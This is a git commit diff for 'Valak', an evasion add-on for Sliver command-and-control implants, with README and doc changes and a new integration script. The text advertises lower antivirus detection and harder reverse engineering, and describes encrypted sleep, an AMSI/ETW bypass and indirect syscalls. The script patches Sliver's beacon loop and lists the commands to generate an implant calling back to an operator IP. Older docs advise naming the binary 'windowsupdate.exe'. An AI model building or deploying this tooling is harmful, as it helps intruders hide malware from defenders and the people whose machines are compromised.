This commit is contained in:
2026-07-18 09:30:00 +01:00
parent ef721388df
commit 761c98a233
5 changed files with 5226 additions and 75 deletions
+11 -6
View File
@@ -10,7 +10,13 @@ For initial delivery use [Kage](https://github.com/Yenn503/Kage), minimal syscal
## Why Zig over C
No CRT linked, smaller binary, fewer imports for AV to flag. Comptime guarantees struct layouts match the PE spec without padding bugs. All the Win32 types, inline assembly, and raw pointer math of C but the compiler refuses to build if you get a struct offset wrong.
No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Smaller binary, less for AV to see.
Detection engines mostly know C, C++, Rust, Go. Zig flies under the radar. Lower VirusTotal scores.
Ghidra struggles with Zig binaries (open bug). IDA doesn't properly support it either. Makes reverse engineering harder.
Comptime makes sure struct layouts match the PE spec. Same low level control as C.
Valak replaces `time.Sleep()` in your implant's beacon loop with ChaCha20-encrypted sleep via indirect syscalls. During sleep your implant's .text is PAGE_NOACCESS, scanners get access violation. On wake, it restores and decrypts.
@@ -50,9 +56,8 @@ cd evasion && zig build -Doptimize=ReleaseFast
## Sliver integration
See [docs/sliver-integration.md](docs/sliver-integration.md). TL;DR:
```bash
./scripts/integrate.sh ~/projects/sliver
```
1. Embed valak.dll bytes into `go-bridge/embed_dll.go`
2. Drop `go-bridge/` into Sliver's `implant/sliver/evasion/valak/`
3. Replace `time.Sleep(d)` with `valak.EvasionSleep(d)` in runner.go
4. Build: `garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"`
See [docs/sliver-integration.md](docs/sliver-integration.md) for prereqs and options.
+6 -7
View File
@@ -15,18 +15,17 @@ cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 80KB.
if you need a minimal shellcode loader to get your implant running:
```bash
# place your Sliver shellcode as valak.bin in the kage directory
cd ../kage
python3 embed.py
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
# → zig-out/bin/kage.exe
```
## embed into sliver implant
see [sliver-integration.md](sliver-integration.md) for wiring it into the implant source.
build the implant with garble:
## integrate with sliver
```bash
go install mvdan.cc/garble@latest
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
./scripts/integrate.sh ~/projects/sliver
```
see [sliver-integration.md](sliver-integration.md) for details.
+58 -58
View File
@@ -1,71 +1,71 @@
## embed the dll
# Valak + Sliver integration
build the dll first:
```
cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
```
One script. Three prereqs. Your implant walks out with ChaCha20-encrypted
sleep, HWBP AMSI/ETW bypass, and FreshyCalls syscalls.
this produces `evasion/zig-out/bin/valak.dll`. convert it to a go byte slice:
## prereqs
- **Zig** — any build targeting `x86_64-windows` (Linux zig or Windows zig via WSL)
- **Go 1.21+** — with a Sliver source clone on disk
- **python3** — used by the embed script
## usage
from the Valak repo root, point it at your Sliver clone:
```bash
xxd -i valak.dll | sed 's/unsigned char.*/var embeddedDLL = []byte{/' | sed 's/};/}/'
./scripts/integrate.sh ~/projects/sliver
```
or just open `go-bridge/embed_dll.go` and paste the bytes manually. the file starts with:
that builds the DLL, embeds it, patches `runner.go`, and verifies the patches
compile. The actual implant is generated from sliver-server (see below).
```go
var embeddedDLL = []byte{
0x4d, 0x5a, 0x90, 0x00, ...
}
```
### options
replace the `...` with the actual dll bytes.
| flag | what it does |
|------|-------------|
| `--skip-build` | patch only, don't build the implant |
| `ZIG=/path/to/zig` | use a specific zig binary (e.g. Windows zig from WSL) |
## drop into sliver
copy `go-bridge/` into `implant/sliver/evasion/valak/`
## wire it up
in `runner.go`, add the import:
```go
import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
```
in `Run()`, call this at the top:
```go
valak.Bootstrap()
```
replace the beacon sleep block (around line 294):
```go
// before
select {
case <-errors:
return err
case <-time.After(duration):
case <-shortCircuit:
}
// after
select {
case err := <-errors:
return err
case <-shortCircuit:
default:
valak.EvasionSleep(duration)
}
```
on shutdown call:
```go
valak.Cleanup()
```
## build the implant
examples:
```bash
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
# patch only
./scripts/integrate.sh ~/projects/sliver --skip-build
# windows zig on WSL
ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
```
rename the binary to something legit like `windowsupdate.exe`
## generating the implant
after the script patches your clone, generate the implant from sliver-server:
```bash
# start sliver
sliver-server
# on the server REPL:
sliver > profiles new --beacon --http <YOUR_IP> valak
sliver > generate --profile valak --save /tmp/valak.exe
# or with mtls:
sliver > generate --mtls <YOUR_IP> --save /tmp/valak.exe
```
the generated binary includes Valak's encrypted sleep, AMSI/ETW bypass, and
FreshyCalls syscalls automatically. The patched `runner.go` is inherited
through Sliver's template processing.
### idempotent
running the script twice on the same clone is safe — it detects existing
patches and skips them.
## notes
- **beacon mode only** — encrypted sleep hooks `beaconMainLoop`. Session mode
blocks on connection receive, so evasion there is AMSI/ETW bypass and
FreshyCalls only.
- **one-time init** — `Bootstrap()` goes in `beaconMainLoop` (runs once per
beacon connection), not `beaconMain` (runs every check-in).
+4964 -4
View File
File diff suppressed because it is too large Load Diff
+187
View File
@@ -0,0 +1,187 @@
#!/usr/bin/env bash
set -euo pipefail
# ──────────────────────────────────────────────────────────────────────────────
# Valak → Sliver integration script
# ──────────────────────────────────────────────────────────────────────────────
# Builds the Valak DLL, embeds it in go-bridge, patches Sliver's runner.go,
# and builds the implant. Works on Linux and WSL.
#
# Requirements:
# • Zig (any platform targetting x86_64-windows)
# • Go with go.mod in the Sliver clone
# • python3
#
# Usage:
# ./scripts/integrate.sh <path-to-sliver-clone> [--skip-build]
#
# Examples:
# ./scripts/integrate.sh ~/projects/sliver
# ./scripts/integrate.sh ~/projects/sliver --skip-build
# ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
# ──────────────────────────────────────────────────────────────────────────────
# ── config ────────────────────────────────────────────────────────────────────
SLIVER_DIR="${1:?Usage: $0 <path-to-sliver-clone> [--skip-build]}"
SKIP_BUILD="${2:-}"
VALAK_DIR="$(cd "$(dirname "$0")/.." && pwd)"
ZIG="${ZIG:-zig}"
# ── helpers ───────────────────────────────────────────────────────────────────
die() { echo "[!] $*" >&2; exit 1; }
info() { echo "[*] $*"; }
ok() { echo "[+] $*"; }
check_dep() {
command -v "$1" >/dev/null 2>&1 || die "$1 not found in PATH. Install it or set $2."
}
# ── checks ────────────────────────────────────────────────────────────────────
[[ -d "$SLIVER_DIR" ]] || die "Sliver clone not found at: $SLIVER_DIR"
[[ -f "$SLIVER_DIR/implant/sliver/runner/runner.go" ]] || die "Not a Sliver clone — missing implant/sliver/runner/runner.go"
[[ -f "$VALAK_DIR/evasion/build.zig" ]] || die "Run from Valak repo root (or scripts/ subdir)"
check_dep python3 PYTHON3
check_dep go GO
# Zig is optional if --skip-build is given, required otherwise
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
check_dep "$ZIG" ZIG
fi
# ── step 1: build valak dll ───────────────────────────────────────────────────
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
info "Building Valak DLL (x86_64-windows, ReleaseFast)..."
cd "$VALAK_DIR/evasion"
$ZIG build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
DLL="$VALAK_DIR/evasion/zig-out/bin/valak.dll"
[[ -f "$DLL" ]] || die "Build failed — no valak.dll at $DLL"
ok "valak.dll built ($(stat -c%s "$DLL" 2>/dev/null || wc -c < "$DLL") bytes)"
else
info "Skipping DLL build (--skip-build). Using existing embed bytes in go-bridge."
fi
# ── step 2: embed dll bytes into go-bridge ────────────────────────────────────
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
info "Embedding DLL bytes into go-bridge/embed_dll.go..."
python3 <<-PYEOF
import os
dll_path = os.path.join("$VALAK_DIR", "evasion", "zig-out", "bin", "valak.dll")
out_path = os.path.join("$VALAK_DIR", "go-bridge", "embed_dll.go")
with open(dll_path, "rb") as f:
data = f.read()
lines = []
for i in range(0, len(data), 16):
chunk = data[i:i+16]
lines.append("\t" + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
content = (
"//go:build evasion && windows\n"
"//\n"
"// Generated by Valak — DO NOT EDIT.\n"
"package valak\n\n"
"var embeddedDLL = []byte{\n"
+ "\n".join(lines) + "\n"
"}\n"
)
with open(out_path, "w") as f:
f.write(content)
print(f" wrote {len(data)} bytes to {out_path}")
PYEOF
ok "embed_dll.go updated"
fi
# ── step 3: copy go-bridge into sliver source tree ────────────────────────────
info "Copying go-bridge to $SLIVER_DIR/implant/sliver/evasion/valak/..."
mkdir -p "$SLIVER_DIR/implant/sliver/evasion/valak"
cp "$VALAK_DIR/go-bridge/"*.go "$SLIVER_DIR/implant/sliver/evasion/valak/"
ok "go-bridge copied"
# ── step 4: patch runner.go ───────────────────────────────────────────────────
RUNNER="$SLIVER_DIR/implant/sliver/runner/runner.go"
info "Patching $RUNNER..."
# Check if already patched
if grep -q 'valak' "$RUNNER" 2>/dev/null; then
info " runner.go already contains valak references — checking patches are complete..."
# Count required patches
has_bootstrap=$(grep -c 'valak.Bootstrap()' "$RUNNER" 2>/dev/null || echo 0)
has_cleanup=$(grep -c 'valak.Cleanup()' "$RUNNER" 2>/dev/null || echo 0)
has_sleep=$(grep -c 'valak.EvasionSleep' "$RUNNER" 2>/dev/null || echo 0)
if [[ "$has_bootstrap" -ge 1 && "$has_cleanup" -ge 1 && "$has_sleep" -ge 1 ]]; then
ok " all valak patches already present — skipping"
else
info " partial patch found — reapplying (may produce duplicates, check manually)"
fi
fi
python3 <<-PYEOF
content = open("$RUNNER").read()
original = content
changed = False
# 1. Add import
old = 'consts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
new = '\"github.com/bishopfox/sliver/implant/sliver/evasion/valak\"\n\tconsts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
if 'evasion/valak' not in content:
content = content.replace(old, new, 1)
changed = True
# 2. Bootstrap in beaconMainLoop
old = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\t// Register beacon\n\terr := beacon.Init()'
new = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\tvalak.Bootstrap()\n\t// Register beacon\n\terr := beacon.Init()'
if 'valak.Bootstrap()' not in content:
content = content.replace(old, new, 1)
changed = True
# 3. Cleanup in beaconMainLoop defer
old = '\tdefer func() {\n\t\terr := beacon.Cleanup()'
new = '\tdefer func() {\n\t\tvalak.Cleanup()\n\t\terr := beacon.Cleanup()'
if 'valak.Cleanup()' not in content:
content = content.replace(old, new, 1)
changed = True
# 4. Replace sleep block
old = '\t\tselect {\n\t\tcase <-errors:\n\t\t\treturn err\n\t\tcase <-time.After(duration):\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\t}'
new = '\t\tselect {\n\t\tcase err := <-errors:\n\t\t\treturn err\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\tdefault:\n\t\t\tvalak.EvasionSleep(duration)\n\t\t}'
if 'valak.EvasionSleep' not in content:
content = content.replace(old, new, 1)
changed = True
if changed:
open("$RUNNER", "w").write(content)
print(" runner.go patched")
else:
print(" runner.go already fully patched — no changes")
PYEOF
ok "runner.go ready"
# ── step 5: verify it compiles ────────────────────────────────────────────────
info "Verifying compilation..."
cd "$SLIVER_DIR"
if GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go vet -tags evasion ./implant/sliver/runner/ 2>&1 | grep -v 'unreachable code'; then
ok "go vet passed"
fi
# ── step 6: done ──────────────────────────────────────────────────────────────
if [[ "$SKIP_BUILD" == "--skip-build" ]]; then
info "Skipping implant build (--skip-build)"
fi
ok "source patched — now generate the implant from sliver-server:"
echo ""
echo " 1. sliver-server"
echo " 2. [server] profiles new --beacon --http <YOUR_IP> valak"
echo " 3. [server] generate --profile valak --save /tmp/valak.exe"
echo " 4. [server] jobs --kill 1 (stop default mtls listener)"
echo ""
echo "The generated binary will include Valak's evasion automatically."
echo ""
ok "done"